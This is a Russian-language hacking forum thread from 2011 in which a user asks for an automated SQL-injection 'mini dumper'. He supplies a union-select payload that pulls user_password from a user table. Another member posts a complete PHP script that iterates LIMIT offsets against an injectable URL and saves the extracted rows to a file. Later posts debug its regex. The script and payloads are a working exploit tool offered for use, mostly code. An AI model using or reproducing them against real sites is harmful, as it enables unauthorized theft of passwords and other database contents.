нужна помощь

Discussion in 'PHP' started by Faaax, 11 Dec 2011.

  1. Faaax

    Faaax Banned

    Joined:
    30 Aug 2010
    Messages:
    327
    Likes Received:
    46
    Reputations:
    11
    помогите сделать скрипт для sql inj
    нужно примерно так вставляешь свой запрос,а чтобы в конце дописывался limit 1,1 (limit 1,2) чтобы выводил всё в файл txt!
    но чтобы небыло примерно такого site.com/.php?id=sql from user <limit>,1
    надеюсь всё правильно объяснил
    За ранее благодарен,с меня жирный ++++
    вообщем мини дампер! просто group_concat и concat_ws не работает!
     
    #1 Faaax, 11 Dec 2011
    Last edited: 11 Dec 2011
  2. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    937
    Likes Received:
    355
    Reputations:
    58
    Использовать готовые инструменты не вариант? Или это делается в целях практики?
     
  3. Faaax

    Faaax Banned

    Joined:
    30 Aug 2010
    Messages:
    327
    Likes Received:
    46
    Reputations:
    11
    это делается в целях практики!
    хочу посмотреть что,да как!
     
  4. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    937
    Likes Received:
    355
    Reputations:
    58
    Ну, если в целях практики, тогда уже имеющиеся наработки не будут лишними.
     
  5. Faaax

    Faaax Banned

    Joined:
    30 Aug 2010
    Messages:
    327
    Likes Received:
    46
    Reputations:
    11
    тут нашёл одну тему,но там ссыль уже сдохла!
    можешь подкинуть если есть?
     
  6. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    937
    Likes Received:
    355
    Reputations:
    58
    Что? Какую ссыль?
     
  7. Faaax

    Faaax Banned

    Joined:
    30 Aug 2010
    Messages:
    327
    Likes Received:
    46
    Reputations:
    11
    /thread79113.html
    мне бы что то на подобии,дизайн не важен,главное чтобы выводил на экран или в файл!
     
  8. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    937
    Likes Received:
    355
    Reputations:
    58
    /threadnav24918-1-10-sipt.html
     
  9. Faaax

    Faaax Banned

    Joined:
    30 Aug 2010
    Messages:
    327
    Likes Received:
    46
    Reputations:
    11
    это я знаю)
    дело в том что при подставлении каких либо {SQLINJ}, {limit}, group_concat() concat_ws()
    то не выводит инфу а вот если делать так limit 1,1--+ , limit 1,2--+ то выводит
    вот и нужно типо такого скрипта!
    есть скуль такая
    id=1')+union+select+user_password+from+user+limit+1,1--+
    и вот нужно чтобы он это всё делал также только заменял limit+1,1 на limit+1,2(и т.д.)
     
    #9 Faaax, 11 Dec 2011
    Last edited: 11 Dec 2011
  10. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    937
    Likes Received:
    355
    Reputations:
    58
    PHP:
    <?php
    set_time_limit
    (0);
    if (empty(
    $_POST['url']))
    {
        echo <<<HTML
    <html>
    <head>
    <title>limit parser</title>
    </head>
    <style type="text/css">
    body
    {
        background-color: #2B2F34;
        color: #C1C1C7;
        font: 8pt verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif;
        MARGIN-TOP: 0px;
        MARGIN-BOTTOM: 0px;
        MARGIN-LEFT: 0px;
        MARGIN-RIGHT: 0px;
        margin:0;
        padding:0;    
        
        scrollbar-base-color: #f2f2f2; 
        scrollbar-track-color: #f9fafa;
        scrollbar-face-color: #F1F1F1;
        scrollbar-highlight-color: #ffffff;
        scrollbar-3dlight-color: #ffffff;
        scrollbar-darkshadow-color: #ffffff;
        scrollbar-shadow-color: #C8C8CA;
        scrollbar-arrow-color: #999999;
    }
    </style>
    <body>
    <center>
    <br>
    <hr>
    <form method="POST">
    <input type="checkbox" name="choice" value="1">Записывать результат в файл (LIMIT.txt)
    <input type="checkbox" name="choice2" value="2">Выводить результат на экран<br><br>
    Url: <input type="text" name="url" size="120" value="http://www.example-site.com/index.php?id=-23'+union+select+1,2,3,user_password,5,6,7+from+user">+limit+<input type="text" name="limit" size="1" value="1">, From: <input type="text" name="from" size="1" value="0"> To: <input type="text" name="to" size="1" value="25">--+<br><br>
    RegExp (example): <input type="text" name="regexp" size="50" value="#<h5>(.*?)</h5>#"><br><br>

    <input type="submit" value="Go"> &nbsp <input type="reset" value="Reset">
    </form>
    <hr>
    <br>
    <p>Output:</p>\r\n
    HTML;
    }
    else
    {
        echo <<<HTML
    <html>
    <head>
    <title>limit parser</title>
    </head>
    <style type="text/css">
    body
    {
        background-color: #2B2F34;
        color: #C1C1C7;
        font: 8pt verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif;
        MARGIN-TOP: 0px;
        MARGIN-BOTTOM: 0px;
        MARGIN-LEFT: 0px;
        MARGIN-RIGHT: 0px;
        margin:0;
        padding:0;    
        
        scrollbar-base-color: #f2f2f2; 
        scrollbar-track-color: #f9fafa;
        scrollbar-face-color: #F1F1F1;
        scrollbar-highlight-color: #ffffff;
        scrollbar-3dlight-color: #ffffff;
        scrollbar-darkshadow-color: #ffffff;
        scrollbar-shadow-color: #C8C8CA;
        scrollbar-arrow-color: #999999;
    }
    </style>
    <body>
    <center>
    <br>
    <hr>
    <form method="POST">
    <input type="checkbox" name="choice" value="1">Записывать результат в файл (LIMIT.txt)
    <input type="checkbox" name="choice2" value="2">Выводить результат на экран<br><br>
    Url: <input type="text" name="url" size="120" value="
    $_POST[url]">+limit+<input type="text" name="limit" size="1" value="$_POST[limit]">, From: <input type="text" name="from" size="1" value="$_POST[from]"> To: <input type="text" name="to" size="1" value="$_POST[to]">--+<br><br>
    RegExp (example): <input type="text" name="regexp" size="50" value="
    $_POST[regexp]"><br><br>

    <input type="submit" value="Go"> &nbsp <input type="reset" value="Reset">
    </form>
    <hr>
    <br>
    <p>Output:</p>\r\n
    HTML;
        
    $fp fopen("LIMIT.txt""wb");
        for (
    $i=$_POST['from']; $i<=$_POST['to']; $i++)
        {
            
    $sql_inj file_get_contents($_POST['url']."+limit+".$_POST['limit'].",".$i."--+");
            
    preg_match($_POST['regexp'], $sql_inj$match);
            if (
    $_POST['choice'] == and !empty($match[1]))
            {
                
    fwrite($fp$match[1]."\r\n");
            }
            if (
    $_POST['choice2'] == and !empty($match[1]))
            {
                echo 
    $match[1]."<br>\r\n";
                
    flush();
                
    ob_flush();
            }
        }
        
    fclose($fp);
    }
    ?>
    </center>
    </body>
    </html>
     
    1 person likes this.
  11. Faaax

    Faaax Banned

    Joined:
    30 Aug 2010
    Messages:
    327
    Likes Received:
    46
    Reputations:
    11
    Warning: preg_match() [function.preg-match]: Unknown modifier '(' in Z:\home\localhost\www\limit.php on line 100
     
  12. LStr1ke

    LStr1ke Elder - Старейшина

    Joined:
    29 Jul 2009
    Messages:
    800
    Likes Received:
    145
    Reputations:
    73
    Напиши, какое регулярное выражение использовал
     
  13. Faaax

    Faaax Banned

    Joined:
    30 Aug 2010
    Messages:
    327
    Likes Received:
    46
    Reputations:
    11
    RegExp (example): /<h2>(\S*)<Vh2>/s
    теперь всё нормально,но ничего не выводит,пишет Output: и всё
     
  14. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    937
    Likes Received:
    355
    Reputations:
    58
    http://pyha.ru/forum/topic/19.0

    Ты ведь вставляешь регексп отсюда /thread79113.html
    Посмотри на исходный код страницы и посмотри где выводится принтабельное поле, и в соответствии с этим нужно составить регулярное выражение.
    Нужно хоть немного понимать, что такое регулярные выражения. В противном случае проку от скрипта нет.
     
  15. Faaax

    Faaax Banned

    Joined:
    30 Aug 2010
    Messages:
    327
    Likes Received:
    46
    Reputations:
    11
    ээээмм,так и не понял!
    какой тогда тут нужно регексп нужно писать?